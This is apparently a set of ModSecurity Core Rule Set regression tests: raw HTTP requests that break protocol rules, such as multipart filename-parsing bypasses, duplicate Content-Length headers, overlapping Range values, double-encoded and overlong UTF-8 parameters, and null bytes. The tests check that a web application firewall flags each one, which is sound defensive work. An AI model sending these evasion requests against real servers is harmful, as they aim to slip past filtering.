Response-Status: - Force a response status line. Defaults to "200 OK".
|
||||
|
||||
Response-Content: - Adds the string to the response. Note that this would not be
|
||||
the entire response.
|
||||
|
||||
Response-Content-Type: - sets the value of the content type header, defaults to
|
||||
"text/html"
|
||||
|
||||
Response-Header-Name: - Adds a header to the response. This defined the new
|
||||
header's name. Response-Header-Value defines the header's value.
|
||||
|
||||
Response-Header-Value: - The value of the new header defined by the request
|
||||
header Response-Header-Name. Note: If Response-Header-Name is empty, then this
|
||||
parameter will be ignored.
|
||||
|
||||
=head1 ERRORS
|
||||
|
||||
Error 101:
|
||||
test file <file> not found. Check that all options are valid and no
|
||||
option was considered a test file.
|
||||
|
||||
Error 102:
|
||||
syntax error in file <file> on line <line>. a line which is not
|
||||
a remark, not a directive and not in any multiline section (request
|
||||
and multi line remark) was found at specified line and file.
|
||||
|
||||
Error 103:
|
||||
cannot use both %request and %uri. Only one of these directive can
|
||||
be specified in each test.
|
||||
|
||||
Error 104:
|
||||
error connecting to server. The specific error is also displayed.
|
||||
This error usually implies a communication problem or specificaiton
|
||||
of a wrong server or port.
|
||||
|
||||
Error 105:
|
||||
Error occured when trying to open a tests file. Tests will continue
|
||||
with next tests file.
|
||||
|
||||
Error 106:
|
||||
Error occured when trying to create report file.
|
||||
|
||||
Error 107:
|
||||
%endtest directive without a preceding %test directive
|
||||
|
||||
Error 108:
|
||||
The expression evulator (using Perl eval function) failed. The
|
||||
expression probably includes some Perl syntax. use -verbose to
|
||||
print the actual error returned.
|
||||
|
||||
Error 109:
|
||||
Fuzzing the request failed. This probably implies that the test
|
||||
request includes some Perl syntax. You may want to use the nofuzz
|
||||
option to overcome the problem.
|
||||
|
||||
|
||||
=cut
|
@@ -0,0 +1,599 @@
|
||||
%timeout 10
|
||||
|
||||
# FILE 20 - protocol violations
|
||||
|
||||
%test Invalid HTTP Request Line (960911) - Test 1
|
||||
#####################################################
|
||||
%remark
|
||||
This test has a TAB character before the request method.
|
||||
%endremark
|
||||
%status 400|403
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Invalid HTTP Request Line (960911) - Test 2
|
||||
#####################################################
|
||||
%remark
|
||||
This test uses backslashes instead of forward slashes.
|
||||
%endremark
|
||||
%status 400|403
|
||||
%request
|
||||
GET \index.html HTTP\1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Invalid HTTP Request Line (960911) - Test 3
|
||||
#####################################################
|
||||
%remark
|
||||
This test has a pipe character before the request method.
|
||||
%endremark
|
||||
%status 400|403|501
|
||||
%output 960911
|
||||
%request
|
||||
|GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test Attempted multipart/form-data bypass (960000)
|
||||
#####################################################
|
||||
%remark
|
||||
This test attempts form name parsing evasion using '.
|
||||
%endremark
|
||||
%output 960000
|
||||
%request
|
||||
POST /cgi-bin/fup.cgi HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20100101 Firefox/15.0.1
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: keep-alive
|
||||
Referer: http://localhost/upload.html
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: multipart/form-data; boundary=---------------------------627652292512397580456702590
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
-----------------------------627652292512397580456702590
|
||||
Content-Disposition: form-data; name=x';filename="';name=contact.txt;"
|
||||
Content-Type: text/plain
|
||||
|
||||
email: security@modsecurity.org
|
||||
|
||||
-----------------------------627652292512397580456702590
|
||||
Content-Disposition: form-data; name="note"
|
||||
|
||||
Contact info.
|
||||
-----------------------------627652292512397580456702590--
|
||||
|
||||
|
||||
%test Failed to parse request body (960912)
|
||||
#####################################################
|
||||
%remark
|
||||
Part missing Content-Disposition header
|
||||
%endremark
|
||||
%output 960912
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Referer: http://192.168.3.2/form.html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
-----------------------------265001916915724
|
||||
Contt-Disposition: form-data; name="file"; filename="test"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
Rotem & Ayala
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disition: form-data; name="name"
|
||||
|
||||
tt2
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="B1"
|
||||
|
||||
Submit
|
||||
-----------------------------265001916915724--
|
||||
|
||||
|
||||
%test Multipart request body failed strict validation (960914)
|
||||
#####################################################
|
||||
%output 960914
|
||||
%remark
|
||||
Invalid Quoting
|
||||
%endremark
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Referer: http://192.168.3.2/form.html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name='name; filename="'; name=payload;"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
Rotem & Ayala
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
tt2
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="B1"
|
||||
|
||||
Submit
|
||||
-----------------------------265001916915724--
|
||||
|
||||
|
||||
%test Multipart parser detected a possible unmatched boundary (960915)
|
||||
#####################################################
|
||||
%remark
|
||||
Unmatched final boundary
|
||||
%endremark
|
||||
%output 960915
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Referer: http://192.168.3.2/form.html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="file"; filename="test"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
Rotem & Ayala
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
tt2
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="B1"
|
||||
|
||||
Submit
|
||||
-----------------------------265001916915725--
|
||||
|
||||
|
||||
%test Invalid Request Body (960000)
|
||||
#####################################################
|
||||
%remark
|
||||
Invalid Quoting
|
||||
%endremark
|
||||
%output 960000
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Referer: http://192.168.3.2/form.html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="fi;le"; filename="test"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
Rotem & Ayala
|
||||
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
tt2
|
||||
-----------------------------265001916915724
|
||||
Content-Disposition: form-data; name="B1"
|
||||
|
||||
Submit
|
||||
-----------------------------265001916915724--
|
||||
|
||||
|
||||
%test Invalid Request Body/XML (960912)
|
||||
#####################################################
|
||||
%remark
|
||||
Incorrect ending error tag </err>
|
||||
%endremark
|
||||
%output 960912
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Referer: http://192.168.3.2/form.html
|
||||
Content-Type: text/xml
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
<SOAP-ENV:Body>
|
||||
<xkms:StatusRequest xmlns:xkms="http://www.w3.org/2002/03/xkms#" Id="_6ee48478-fdd6-4d7d-b1bf-e7b4c3254659" ResponseId="_c1c36b3f-f962-4aea-bfbd-07ed58468c9b" Service="http://www.soapclient.com/xml/xkms2">
|
||||
<xkms:ResponseMechanism>http://www.w3.org/2002/03/xkms#Pending</xkms:ResponseMechanism>
|
||||
<xkms:RespondWith>http://www.w3.org/2002/03/xkms#X509Cert</xkms:RespondWith>
|
||||
</xkms:StatusRequest>
|
||||
</SOAP-ENV:Body><error></err>
|
||||
</SOAP-ENV:Envelope>
|
||||
|
||||
|
||||
%test Content-Length HTTP header is not numeric (960016)
|
||||
#####################################################
|
||||
%remark
|
||||
When Apache received multiple headers with the same name, it will contat them into one header with commas separating the individual payloads.
|
||||
%endremark
|
||||
%status 413|400
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 3
|
||||
Content-Length: 3
|
||||
|
||||
abc
|
||||
|
||||
|
||||
%test Content-Length HTTP header is not numeric (960016)
|
||||
#####################################################
|
||||
%remark
|
||||
Content-Length should only contain digits. This has a semi-colon.
|
||||
%endremark
|
||||
%status 413|400
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 3;
|
||||
|
||||
abc
|
||||
|
||||
|
||||
%test GET or HEAD Request with Body Content (960011)
|
||||
#####################################################
|
||||
%remark
|
||||
This request sends a request body while using a GET request.
|
||||
%endremark
|
||||
#%status 400
|
||||
%output 960011
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
abc
|
||||
|
||||
|
||||
|
||||
%test POST request missing Content-Length Header (960012)
|
||||
#####################################################
|
||||
%output 960012
|
||||
%request
|
||||
POST / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
|
||||
|
||||
%test Invalid Use of Identity Encoding (960902)
|
||||
#####################################################
|
||||
%output 960902
|
||||
%event 960902
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Encoding: Identity
|
||||
|
||||
|
||||
%test Expect Header Not Allowed for HTTP 1.0 (960022)
|
||||
#####################################################
|
||||
%output 960022
|
||||
%event 960022
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Expect: 100-continue
|
||||
|
||||
|
||||
%test Pragma Header requires Cache-Control Header for HTTP/1.1 requests (960020)
|
||||
#####################################################
|
||||
%output 960020
|
||||
%event 960020
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Pragma: no-cache
|
||||
|
||||
|
||||
%test Range: field exists and begins with 0 (958291)
|
||||
#####################################################
|
||||
%output 958291
|
||||
%event 958291
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Range: bytes=0-
|
||||
|
||||
|
||||
%test Range: Invalid Last Byte Value (958230)
|
||||
#####################################################
|
||||
%output 958230
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Connection: close
|
||||
|
||||
|
||||
%test Range: Too many fields (958231)
|
||||
#####################################################
|
||||
%output 958231
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Connection: close
|
||||
|
||||
|
||||
%test Multiple/Conflicting Connection Header Data Found (958295)
|
||||
#####################################################
|
||||
%output 958295
|
||||
%event 958295
|
||||
%var connection=keep-alive
|
||||
%var connection=close
|
||||
%request
|
||||
GET / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Connection: $connection, $connection
|
||||
|
||||
|
||||
%test URL Encoding Abuse Attack Attempt (950107)
|
||||
#####################################################
|
||||
%output 950107
|
||||
%event 950107
|
||||
%var encoded_arg=%1G
|
||||
%var encoded_arg=%7%6F%6D%65%74%65%78%74%5F%31%32%33%
|
||||
%request
|
||||
GET /?parm=$encoded_arg HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Multiple URL Encoding Detected (950109)
|
||||
#####################################################
|
||||
%output 950109
|
||||
%event 950109
|
||||
%var encoded_arg=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34
|
||||
#%var encoded_arg=%7%6F%6D%65%74%65%78%74%5F%31%32%33%
|
||||
%request
|
||||
GET /?parm=$encoded_arg HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%test URL Encoding Abuse Attack Attempt (950108)
|
||||
#####################################################
|
||||
%output 950108
|
||||
%event 950108
|
||||
%var encoded_arg=%1G
|
||||
%var encoded_arg=%7%6F%6D%65%74%65%78%74%5F%31%32%33%
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
param=$encoded_arg
|
||||
|
||||
|
||||
|
||||
|
||||
%test URL Encoding Abuse Attack Attempt/XML (950108)
|
||||
#####################################################
|
||||
%output 950108
|
||||
%request
|
||||
POST / HTTP/1.1
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
Content-Type: text/xml
|
||||
Content-Length: $CONTENT_LENGTH
|
||||
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
<SOAP-ENV:Body>
|
||||
<xkms:StatusRequest xmlns:xkms="http://www.w3.org/2002/03/xkms#" Id="_6ee48478-fdd6-4d7d-b1bf-e7b4c3254659" ResponseId="_c1c36b3f-f962-4aea-bfbd-07ed58468c9b" Service="http://www.soapclient.com/xml/xkms2">
|
||||
<xkms:ResponseMechanism>http://www.w3.org/2002/03/xkms#Pending</xkms:ResponseMechanism>
|
||||
<xkms:RespondWith>%1Gwww.attack.org</xkms:RespondWith>
|
||||
</xkms:StatusRequest>
|
||||
</SOAP-ENV:Body>
|
||||
</SOAP-ENV:Envelope>
|
||||
|
||||
|
||||
%test UTF8 Encoding Abuse Attack Attempt (950801)
|
||||
#####################################################
|
||||
%output 950801
|
||||
%var arg=%c0%af
|
||||
%var arg=%c0
|
||||
%var arg=%F5%80%BF%BF
|
||||
%request
|
||||
GET /?param=$arg HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Unicode Full/Half Width Abuse Attack Attempt (950116)
|
||||
#####################################################
|
||||
%output 950116
|
||||
%request
|
||||
GET /?param=foo%uFF01 HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Proxy access attempt (960014)
|
||||
#####################################################
|
||||
%output 960014
|
||||
%request
|
||||
GET http://www.some_remote_site.com/ HTTP/1.0
|
||||
Host: www.some_remote_site.com
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Invalid character in request (960901)
|
||||
#####################################################
|
||||
%output 960901
|
||||
%event 960901
|
||||
%request
|
||||
GET /?param=foo%00 HTTP/1.0
|
||||
Host: $hostname
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
|
||||
%endtest
|
||||
|
@@ -0,0 +1,126 @@
|
||||
%timeout 10
|
||||
|
||||
# FILE 21 - protocol anomalies
|
||||
|
||||
%test Request Missing a Host Header (960008)
|
||||
#####################################################
|
||||
%output 960008
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Empty Host Header (960007)
|
||||
#####################################################
|
||||
%output 960007
|
||||
%request
|
||||
GET / HTTP/1.0
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Encoding: gzip,deflate
|
||||
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||||
Keep-Alive: 300
|
||||
Proxy-Connection: keep-alive
|
||||
|
||||
|
||||
%test Request Missing an Accept Header (960015)
|
||||
#####################################################
|
||||
